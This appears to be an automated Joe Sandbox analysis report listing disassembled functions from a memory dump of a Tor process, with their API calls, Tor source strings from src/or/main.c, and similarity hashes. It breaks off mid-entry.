__stack_chk_fail.LIBSSP-0 ref: 013B2EAC

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B2DCD
event_add.LIBEVENT-2-1-6 ref: 013B2E4B

Part of subcall function 015593E7: __stack_chk_fail.LIBSSP-0 ref: 0155946E

Part of subcall function 01559475: strerror.MSVCRT ref: 015594C7
Part of subcall function 01559475: __stack_chk_fail.LIBSSP-0 ref: 015594D7

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

connection_start_writing, xrefs: 013B2E82
connection_start_writing, xrefs: 013B2DB5
conn, xrefs: 013B2DAD
Error from libevent setting write event state for %d to watched: %s, xrefs: 013B2E7A
src/or/main.c, xrefs: 013B2DA1

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortevent_addstrerror
String ID: Error from libevent setting write event state for %d to watched: %s$conn$connection_start_writing$connection_start_writing$src/or/main.c
API String ID: 2658343508-667809049
Opcode ID: 488834c660b773135808f6197fbe1447e0add33da366f1cbc85a8a2d78a9d2a0
Instruction ID: b6b7684945b7fd9438433111fea33514a822a3c63122ed59399982b3b6040d3c
Opcode Fuzzy Hash: 488834c660b773135808f6197fbe1447e0add33da366f1cbc85a8a2d78a9d2a0
Instruction Fuzzy Hash: F5310AB4A08706CFDB50EF69C484A6FBBF4BF44208F058859ED949B311E338E841CB52

Uniqueness

Uniqueness Score: -1.00%

Function 013B2A96 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 78COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B2BB1

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B2AE6
event_add.LIBEVENT-2-1-6 ref: 013B2B50

Part of subcall function 015593E7: __stack_chk_fail.LIBSSP-0 ref: 0155946E

Part of subcall function 01559475: strerror.MSVCRT ref: 015594C7
Part of subcall function 01559475: __stack_chk_fail.LIBSSP-0 ref: 015594D7

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

conn, xrefs: 013B2AC6
connection_start_reading, xrefs: 013B2ACE
Error from libevent setting read event state for %d to watched: %s, xrefs: 013B2B7F
connection_start_reading, xrefs: 013B2B87
src/or/main.c, xrefs: 013B2ABA

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortevent_addstrerror
String ID: Error from libevent setting read event state for %d to watched: %s$conn$connection_start_reading$connection_start_reading$src/or/main.c
API String ID: 2658343508-3728272616
Opcode ID: 7150332c2e8a948307ce9057f4c8243cf727bbad7820b9587e2cee1243e427aa
Instruction ID: 72c860cfee0c2f881f41978dc1a0daedc6571bc44dede83ca6230d70d054dd9a
Opcode Fuzzy Hash: 7150332c2e8a948307ce9057f4c8243cf727bbad7820b9587e2cee1243e427aa
Instruction Fuzzy Hash: F031E8B4A08606CFDB50EF69C584A6FFFF4BF44208F018859E9949B341EB38E541CB62

Uniqueness

Uniqueness Score: -1.00%

Function 013B1D9D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

event_del.LIBEVENT-2-1-6 ref: 013B1DC6
free.MSVCRT ref: 013B1E0E

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

event_del.LIBEVENT-2-1-6 ref: 013B1E2F
free.MSVCRT ref: 013B1E77
__stack_chk_fail.LIBSSP-0 ref: 013B1EAA

Strings

connection_unregister_events, xrefs: 013B1DE1, 013B1E4A
Error removing read event for %d, xrefs: 013B1DD9
Error removing write event for %d, xrefs: 013B1E42

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failevent_delfree
String ID: Error removing read event for %d$Error removing write event for %d$connection_unregister_events
API String ID: 3636926285-4158261916
Opcode ID: 0cfc113f983c5d8b5c9f9b713ec02f6394043b56881141430cf098d716db0e8a
Instruction ID: 451c98acfadb05a46cdbfb46fd1b1e7d00cb871bc7aff2239194d003f204395d
Opcode Fuzzy Hash: 0cfc113f983c5d8b5c9f9b713ec02f6394043b56881141430cf098d716db0e8a
Instruction Fuzzy Hash: 6C31C8B4A043068FCB50EFA8C494A6EBBF4BF09304F418459E9A4DB351D778E940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 013B2C65 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B2D76

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B2CB5
event_del.LIBEVENT-2-1-6 ref: 013B2D15

Part of subcall function 015593E7: __stack_chk_fail.LIBSSP-0 ref: 0155946E

Part of subcall function 01559475: strerror.MSVCRT ref: 015594C7
Part of subcall function 01559475: __stack_chk_fail.LIBSSP-0 ref: 015594D7

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

connection_stop_writing, xrefs: 013B2D4C
connection_stop_writing, xrefs: 013B2C9D
conn, xrefs: 013B2C95
Error from libevent setting write event state for %d to unwatched: %s, xrefs: 013B2D44
src/or/main.c, xrefs: 013B2C89

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortevent_delstrerror
String ID: Error from libevent setting write event state for %d to unwatched: %s$conn$connection_stop_writing$connection_stop_writing$src/or/main.c
API String ID: 3141435184-96111704
Opcode ID: a5297b3bf3082901bbf0dbc646d95344647219d88e0560234dd17426dffdc61d
Instruction ID: e279051cb06f1b5f18e62b2f4ea55f3642d15c6ab0099a2fe0ccd0a335282d84
Opcode Fuzzy Hash: a5297b3bf3082901bbf0dbc646d95344647219d88e0560234dd17426dffdc61d
Instruction Fuzzy Hash: AF310BB4A08746CFCB50EFA9C484A6EFBF4AF44214F01855EE9A59B351E338E441CF52

Uniqueness

Uniqueness Score: -1.00%

Function 013B298B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 72COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B2A8F

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B29DB
event_del.LIBEVENT-2-1-6 ref: 013B2A2E

Part of subcall function 015593E7: __stack_chk_fail.LIBSSP-0 ref: 0155946E

Part of subcall function 01559475: strerror.MSVCRT ref: 015594C7
Part of subcall function 01559475: __stack_chk_fail.LIBSSP-0 ref: 015594D7

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

conn, xrefs: 013B29BB
connection_stop_reading, xrefs: 013B2A65
connection_stop_reading, xrefs: 013B29C3
Error from libevent setting read event state for %d to unwatched: %s, xrefs: 013B2A5D
src/or/main.c, xrefs: 013B29AF

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortevent_delstrerror
String ID: Error from libevent setting read event state for %d to unwatched: %s$conn$connection_stop_reading$connection_stop_reading$src/or/main.c
API String ID: 3141435184-2107366783
Opcode ID: 1eadee9ab506a9d2e88126d9a0c90ddf3f4ea54563c869dd662f10fa808d834c
Instruction ID: 7eeceb28115c2ec2ab718b014efe6f70043e0c91837a0a1046501184b4242e9a
Opcode Fuzzy Hash: 1eadee9ab506a9d2e88126d9a0c90ddf3f4ea54563c869dd662f10fa808d834c
Instruction Fuzzy Hash: 7E3118B4908706DFDB50EF69C484A6EFBF4BF44208F01895AE9949B341E738E401CF62

Uniqueness

Uniqueness Score: -1.00%

Function 013B22A0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 0155D522: __stack_chk_fail.LIBSSP-0 ref: 0155D581

abort.MSVCRT ref: 013B2302
abort.MSVCRT ref: 013B2347
time.MSVCRT ref: 013B2353
__stack_chk_fail.LIBSSP-0 ref: 013B238C

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

add_connection_to_closeable_list, xrefs: 013B22EA, 013B232F
conn->marked_for_close, xrefs: 013B2327
!smartlist_contains(closeable_connection_lst, conn), xrefs: 013B22E2
src/or/main.c, xrefs: 013B22D6, 013B231B

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$time
String ID: !smartlist_contains(closeable_connection_lst, conn)$add_connection_to_closeable_list$conn->marked_for_close$src/or/main.c
API String ID: 2530370894-3409822854
Opcode ID: f77d660d12aa7a01fde92da1060a04a6c6bcc514367d6c9e18785f1d68795a5a
Instruction ID: 5568f6052bee8087080c0e8f23e104b8f45bb0f35fb218e8e0266fa3a2208328
Opcode Fuzzy Hash: f77d660d12aa7a01fde92da1060a04a6c6bcc514367d6c9e18785f1d68795a5a
Instruction Fuzzy Hash: 5621E7B49057029FCB50EFB9C49456FBBF4AF94258F41C81E98D49B240E738D445DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0142B07E Relevance: 13.7, APIs: 9, Instructions: 208stringCOMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0142B0E0

Part of subcall function 01565A93: abort.MSVCRT ref: 01565AE3

abort.MSVCRT ref: 0142B11F
abort.MSVCRT ref: 0142B15E
abort.MSVCRT ref: 0142B19D
strlen.MSVCRT ref: 0142B21B
free.MSVCRT ref: 0142B237
__stack_chk_fail.LIBSSP-0 ref: 0142B3A3

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr$freestrlen
String ID:
API String ID: 2547319791-0
Opcode ID: 77b2e8aeadc7bccb0b98894ffd964fd51e3f7b7bd78095c51ce27e037cf5b920
Instruction ID: 746014d7c65ea03650dbbeb686e290e053f95cb2713568dfd5f1a3b6cd8dcede
Opcode Fuzzy Hash: 77b2e8aeadc7bccb0b98894ffd964fd51e3f7b7bd78095c51ce27e037cf5b920
Instruction Fuzzy Hash: FE91D8B4A04316CFDB40EFA8C5446AEBBF4BF49354F418819E894AB350D778D985CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0160E942 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0160E9C3

Part of subcall function 0160A778: __stack_chk_fail.LIBSSP-0 ref: 0160A847

Part of subcall function 0160A853: __stack_chk_fail.LIBSSP-0 ref: 0160A8D5

memcpy.MSVCRT ref: 0160EA13

Part of subcall function 0160D8CE: memcpy.MSVCRT ref: 0160D942
Part of subcall function 0160D8CE: __stack_chk_fail.LIBSSP-0 ref: 0160D953

Part of subcall function 0160C787: __stack_chk_fail.LIBSSP-0 ref: 0160C9F7

memcpy.MSVCRT ref: 0160EB94
memcpy.MSVCRT ref: 0160EBB4
memset.MSVCRT ref: 0160EC5B

Part of subcall function 0160A8E1: __stack_chk_fail.LIBSSP-0(?), ref: 0160A96A

Part of subcall function 0160C227: __stack_chk_fail.LIBSSP-0 ref: 0160C6A1

__stack_chk_fail.LIBSSP-0 ref: 0160ECF8

Strings

H, xrefs: 0160EC48

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$memcpy$memset
String ID: H
API String ID: 2593158599-2852464175
Opcode ID: 351722c142e4cac75ecf162cc6b17308c29e7d8460b365cfca43930bae38acf8
Instruction ID: 15961940eac4fd604d7586adddd8805f5c369dd2dd72398fe22ae25382a52f55
Opcode Fuzzy Hash: 351722c142e4cac75ecf162cc6b17308c29e7d8460b365cfca43930bae38acf8
Instruction Fuzzy Hash: C6B197B4904719DFCB55EF64C88469EBBF5BF48350F4189AEE988A3300EB349A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0157C6C8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

SSL_state_string_long.SSLEAY32 ref: 0157C717
ERR_reason_error_string.LIBEAY32 ref: 0157C77E
ERR_lib_error_string.LIBEAY32 ref: 0157C78C
ERR_func_error_string.LIBEAY32 ref: 0157C79A
__stack_chk_fail.LIBSSP-0 ref: 0157C8A4

Strings

with , xrefs: 0157C7E5, 0157C84E
---, xrefs: 0157C71E

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: L_state_string_longR_func_error_stringR_lib_error_stringR_reason_error_string__stack_chk_fail
String ID: with $---
API String ID: 1144902053-2965422945
Opcode ID: d1d21f21d307c9acd914e3fbb1008b1a87bcd8f63b1957c230c4fa59532bf1bd
Instruction ID: e25d6737da1815faa8699e27add6f4f0150a7e5bbb0587994727af38a5f82dc0
Opcode Fuzzy Hash: d1d21f21d307c9acd914e3fbb1008b1a87bcd8f63b1957c230c4fa59532bf1bd
Instruction Fuzzy Hash: 266192B4D0524ADFDB14DFA8E4896AEFBF0BB48310F10492EE855AB350DB349944CF96

Uniqueness

Uniqueness Score: -1.00%

Function 013ED0B6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013ED273

Part of subcall function 013ECF94: __stack_chk_fail.LIBSSP-0 ref: 013ED0AF

evdns_server_request_add_aaaa_reply.LIBEVENT-2-1-6 ref: 013ED15E
evdns_server_request_add_a_reply.LIBEVENT-2-1-6 ref: 013ED1A8
evdns_server_request_add_ptr_reply.LIBEVENT-2-1-6 ref: 013ED20A
free.MSVCRT ref: 013ED21D
evdns_server_request_respond.LIBEVENT-2-1-6 ref: 013ED253

Strings

<, xrefs: 013ED12E

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$evdns_server_request_add_a_replyevdns_server_request_add_aaaa_replyevdns_server_request_add_ptr_replyevdns_server_request_respondfree
String ID: <
API String ID: 3157775977-4251816714
Opcode ID: f3c7597f6b91b78257b7d6d7cfd037667d59f36c02e13b8e3a3fd0374f10c09f
